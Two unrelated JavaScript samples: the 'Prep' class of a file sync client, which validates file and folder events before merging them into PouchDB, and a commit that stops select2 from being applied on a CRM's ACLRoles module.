// class to inform it. This class will check this event, add some informations,
// and give it to merge, so it can be saved in pouchdb.
//
// The documents in PouchDB have similar informations of those in CouchDB, but
// are not structured in the same way. In particular, the _id are uuid in CouchDB
// and the path to the file/folder (in a normalized form) in PouchDB.
class Prep {
  /*::
  merge : Merge
  ignore : Ignore
  config : Config
  */

  constructor (merge /*: Merge */, ignore /*: Ignore */, config /*: Config */) {
    this.merge = merge
    this.ignore = ignore
    this.config = config

    autoBind(this)
  }

  /* Actions */

  // Expectations:
  //   - the file path is present and valid
  //   - the checksum is valid, if present
  async addFileAsync (side /*: SideName */, doc /*: Metadata */) {
    log.debug({path: doc.path}, 'addFileAsync')
    ensureValidPath(doc)
    ensureValidChecksum(doc)

    doc.docType = 'file'
    assignId(doc)
    if ((side === 'local') && this.ignore.isIgnored(doc)) { return }
    return this.merge.addFileAsync(side, doc)
  }

  // Expectations:
  //   - the file path is present and valid
  //   - the checksum is valid, if present
  async updateFileAsync (side /*: SideName */, doc /*: Metadata */) {
    log.debug({path: doc.path}, 'updateFileAsync')
    ensureValidPath(doc)
    ensureValidChecksum(doc)

    doc.docType = 'file'
    assignId(doc)
    if ((side === 'local') && this.ignore.isIgnored(doc)) { return }
    return this.merge.updateFileAsync(side, doc)
  }

  // Expectations:
  //   - the folder path is present and valid
  async putFolderAsync (side /*: SideName */, doc /*: Metadata */) {
    log.debug({path: doc.path}, 'putFolderAsync')
    ensureValidPath(doc)

    doc.docType = 'folder'
    assignId(doc)
    if ((side === 'local') && this.ignore.isIgnored(doc)) { return }
    return this.merge.putFolderAsync(side, doc)
  }

  // Expectations:
  //   - the new file path is present and valid
  //   - the old file path is present and valid
  //   - the checksum is valid, if present
  //   - the two paths are not the same
  //   - the revision for the old file is present
  async moveFileAsync (side /*: SideName */, doc /*: Metadata */, was /*: Metadata */) {
    log.debug({path: doc.path, oldpath: was.path}, 'moveFileAsync')
    const {path} = doc
    ensureValidPath(doc)
    ensureValidPath(was)
    ensureValidChecksum(doc)

    if (doc.path === was.path) {
      const msg = 'Invalid move'
      log.warn({path, doc, was}, msg)
      throw new Error(msg)
    } else if (!was._rev) {
      const msg = 'Missing rev'
      log.warn({path, doc, was}, msg)
      throw new Error(msg)
    }

    doc.docType = 'file'
    assignId(doc)
    assignId(was)
    let docIgnored = this.ignore.isIgnored(doc)
    let wasIgnored = this.ignore.isIgnored(was)
    if ((side === 'local') && docIgnored && wasIgnored) { return }
    if ((side === 'local') && docIgnored) {
      return this.merge.deleteFileAsync(side, was)
    } else if ((side === 'local') && wasIgnored) {
      return this.merge.addFileAsync(side, doc)
    } else {
      return this.merge.moveFileAsync(side, doc, was)
    }
  }

  // Expectations:
  //   - the new folder path is present and valid
  //   - the old folder path is present and valid
  //   - the two paths are not the same
  //   - the revision for the old folder is present
  async moveFolderAsync (side /*: SideName */, doc /*: Metadata */, was /*: Metadata */, newRemoteRevs /*: ?RemoteRevisionsByID */) {
    log.debug({path: doc.path, oldpath: was.path}, 'moveFolderAsync')
    const {path} = doc
    ensureValidPath(doc)
    ensureValidPath(was)
    if (doc.path === was.path) {
      const msg = 'Invalid move'
      log.warn({path, doc, was}, msg)
      throw new Error(msg)
    }

    if (!was._rev) {
      const msg = 'Missing rev'
      log.warn({path, doc, was}, msg)
      throw new Error(msg)
    }

    doc.docType = 'folder'
    assignId(doc)
    assignId(was)
    let docIgnored = this.ignore.isIgnored(doc)
    let wasIgnored = this.ignore.isIgnored(was)
    if ((side === 'local') && docIgnored && wasIgnored) { return }
    if ((side === 'local') && docIgnored) {
      return this.merge.deleteFolderAsync(side, was)
    } else if ((side === 'local') && wasIgnored) {
      return this.merge.putFolderAsync(side, doc)
    } else {
      return this.merge.moveFolderAsync(side, doc, was, newRemoteRevs)
    }
  }

  // TODO add comments + tests
  async restoreFileAsync (side /*: SideName */, was /*: Metadata */, doc /*: Metadata */) {
    log.debug({path: doc.path, oldpath: was.path}, 'restoreFileAsync')
    ensureValidPath(doc)
    ensureValidPath(was)
    ensureValidChecksum(doc)

    delete doc.trashed
    doc.docType = 'file'
    assignId(doc)
    assignId(was)
    // TODO ignore.isIgnored
    return this.merge.restoreFileAsync(side, was, doc)
  }

  // TODO add comments + tests
  async restoreFolderAsync (side /*: SideName */, was /*: Metadata */, doc /*: Metadata */) {
    log.debug({path: doc.path, oldpath: was.path}, 'restoreFolderAsync')
    ensureValidPath(doc)
    ensureValidPath(was)

    delete doc.trashed
    doc.docType = 'folder'
    assignId(doc)
    assignId(was)
    // TODO ignore.isIgnored
    return this.merge.restoreFolderAsync(side, was, doc)
  }

  // TODO add comments + tests
  async trashFileAsync (side /*: SideName */, was /*: {path: string} */, doc /*: ?Metadata */) {
    log.debug({path: doc && doc.path, oldpath: was.path}, 'trashFileAsync')
    ensureValidPath(was)

    if (!doc) {
      doc = clone(was)
      doc.path = join(TRASH_DIR_NAME, was.path)
    }

    ensureValidPath(doc)

    doc.trashed = true
    doc.docType = 'file'
    assignId(doc)
    assignId(was)
    // TODO ignore.isIgnored
    return this.merge.trashFileAsync(side, was, doc)
  }

  // TODO add comments + tests
  async trashFolderAsync (side /*: SideName */, was /*: {path: string} */, doc /*: ?Metadata */) {
    log.debug({path: doc && doc.path, oldpath: was.path}, 'trashFolderAsync')
    ensureValidPath(was)

    if (!doc) {
      doc = clone(was)
      doc.path = join(TRASH_DIR_NAME, was.path)
    }

    ensureValidPath(doc)

    doc.trashed = true
    doc.docType = 'folder'
    assignId(doc)
    assignId(was)
    // TODO ignore.isIgnored
    return this.merge.trashFolderAsync(side, was, doc)
  }

  // Expectations:
  //   - the file path is present and valid
  async deleteFileAsync (side /*: SideName */, doc /*: Metadata */) {
    log.debug({path: doc.path}, 'deleteFileAsync')
    ensureValidPath(doc)

    doc.docType = 'file'
    assignId(doc)
    if ((side === 'local') && this.ignore.isIgnored(doc)) { return }
    return this.merge.deleteFileAsync(side, doc)
  }

  // Expectations:
  //   - the folder path is present and valid
  async deleteFolderAsync (side /*: SideName */, doc /*: Metadata */) {
    log.debug({path: doc.path}, 'deleteFolderAsync')
    ensureValidPath(doc)

    doc.docType = 'folder'
    assignId(doc)
    if ((side === 'local') && this.ignore.isIgnored(doc)) { return }
    return this.merge.deleteFolderAsync(side, doc)
  }
}

module.exports = Prep
<|endoftext|>


<commit_before>// This file containts users bussines logic
//Self-Invoking Anonymous Function Notation
// !function(){}(); // easy to read, the result is unimportant.
// (function(){})(); // like above but more parens.
// (function(){}()); // Douglas Crockford's style when you need function results.
// Further reading: http://javascript.crockford.com/code.html then search for invoked immediately
!(function() {
    // create an observer instance
    // https://developer.mozilla.org/en/docs/Web/API/MutationObserver
    var observer = new MutationObserver(function(mutations) {
        if (mutations) {
            // select2 disabled for specific detailview
            let applySelect2 = true;
            var crmDetailView = document.forms["DetailView"];
            if (crmDetailView) {
                switch (crmDetailView.module.value) {
                    case "AOW_WorkFlow":
                        applySelect2 = false;
                        break;
                }
            }
            // select2 disabled for specific editview
            var crmEditView = document.forms["EditView"];
            if (crmEditView) {
                switch (crmEditView.module.value) {
                    case "AOW_WorkFlow":
                    case "AOS_Quotes":
                        applySelect2 = false;
                        break;
                }
            }
            // select2 disabled for a whole module
            if (
                /module=ModuleBuilder/.test(window.location.search) ||
                /module=Studio/.test(window.location.search) ||
                /module=Administration/.test(window.location.search)
            ) {
                applySelect2 = false;
            }
            if (applySelect2) {
                $('select:not([class^="select2"])').each(function(index) {
                    if (!$(this).hasClass("select2-hidden-accessible")) {
                        $(this).select2({
                            closeOnSelect: false,
                            dropdownAutoWidth: "true",
                            width: "auto", //mucho más ancho
                            theme: "bootstrap",
                            dropdownParent: $(this).closest("div")
                        });
                    }
                });
            }
            // if needed only once, you can stop observing with observer.disconnect();
            // observer.disconnect();
        }
        // When need to find something special
        // mutations.forEach(function(mutation) {
        //     console.log('select2-lionixcrm mutation:', mutation);
        //     //     if (mutation.type == "attributes") {
        //     //         if (mutation.target.nodeName == "FORM" && mutation.target.id == "some-form-id") {
        //     //             //when found do your code
        //     //             //your code
        //     //             // if needed only once, you can stop observing with observer.disconnect();
        //     //             //observer.disconnect();
        //     //         }
        //     //     }
        // });
    });
    // Observer target
    var target = document.querySelector("body");

    // configuration of the observer:
    // NOTE: At the very least, childList, attributes, or characterData must be set to true. Otherwise, "An invalid or illegal string was specified" error is thrown.
    var config = {
        attributes: true,
        childList: true,
        // characterData: true,
        subtree: true
    };
    // pass in the target node, as well as the observer options
    observer.observe(target, config); // uncomment to run
    // end observer
})();

// function definitions section
//eof
<commit_msg>fix: select2 disabled on ACLRoles module<commit_after>// This file containts users bussines logic
//Self-Invoking Anonymous Function Notation
// !function(){}(); // easy to read, the result is unimportant.
// (function(){})(); // like above but more parens.
// (function(){}()); // Douglas Crockford's style when you need function results.
// Further reading: http://javascript.crockford.com/code.html then search for invoked immediately
!(function() {
    // create an observer instance
    // https://developer.mozilla.org/en/docs/Web/API/MutationObserver
    var observer = new MutationObserver(function(mutations) {
        if (mutations) {
            // select2 disabled for specific detailview
            let applySelect2 = true;
            var crmDetailView = document.forms["DetailView"];
            if (crmDetailView) {
                switch (crmDetailView.module.value) {
                    case "AOW_WorkFlow":
                        applySelect2 = false;
                        break;
                }
            }
            // select2 disabled for specific editview
            var crmEditView = document.forms["EditView"];
            if (crmEditView) {
                switch (crmEditView.module.value) {
                    case "AOW_WorkFlow":
                    case "AOS_Quotes":
                        applySelect2 = false;
                        break;
                }
            }
            // select2 disabled for a whole module
            if (
                /module=ModuleBuilder/.test(window.location.search) ||
                /module=Studio/.test(window.location.search) ||
                /module=Administration/.test(window.location.search) ||
                /module%3DACLRoles/.test(window.location.href)
            ) {
                applySelect2 = false;
            }
            if (applySelect2) {
                $('select:not([class^="select2"])').each(function(index) {
                    if (!$(this).hasClass("select2-hidden-accessible")) {
                        $(this).select2({
                            closeOnSelect: false,
                            dropdownAutoWidth: "true",
                            width: "auto", //mucho más ancho
                            theme: "bootstrap",
                            dropdownParent: $(this).closest("div")
                        });
                    }
                });
            }
            // if needed only once, you can stop observing with observer.disconnect();
            // observer.disconnect();
        }
        // When need to find something special
        // mutations.forEach(function(mutation) {
        //     console.log('select2-lionixcrm mutation:', mutation);
        //     //     if (mutation.type == "attributes") {
        //     //         if (mutation.target.nodeName == "FORM" && mutation.target.id == "some-form-id") {
        //     //             //when found do your code
        //     //             //your code
        //     //             // if needed only once, you can stop observing with observer.disconnect();
        //     //             //observer.disconnect();
        //     //         }
        //     //     }
        // });
    });
    // Observer target
    var target = document.querySelector("body");

    // configuration of the observer:
    // NOTE: At the very least, childList, attributes, or characterData must be set to true. Otherwise, "An invalid or illegal string was specified" error is thrown.
    var config = {
        attributes: true,
        childList: true,
        // characterData: true,
        subtree: true
    };
    // pass in the target node, as well as the observer options
    observer.observe(target, config); // uncomment to run
    // end observer
})();

// function definitions section
//eof
<|endoftext|>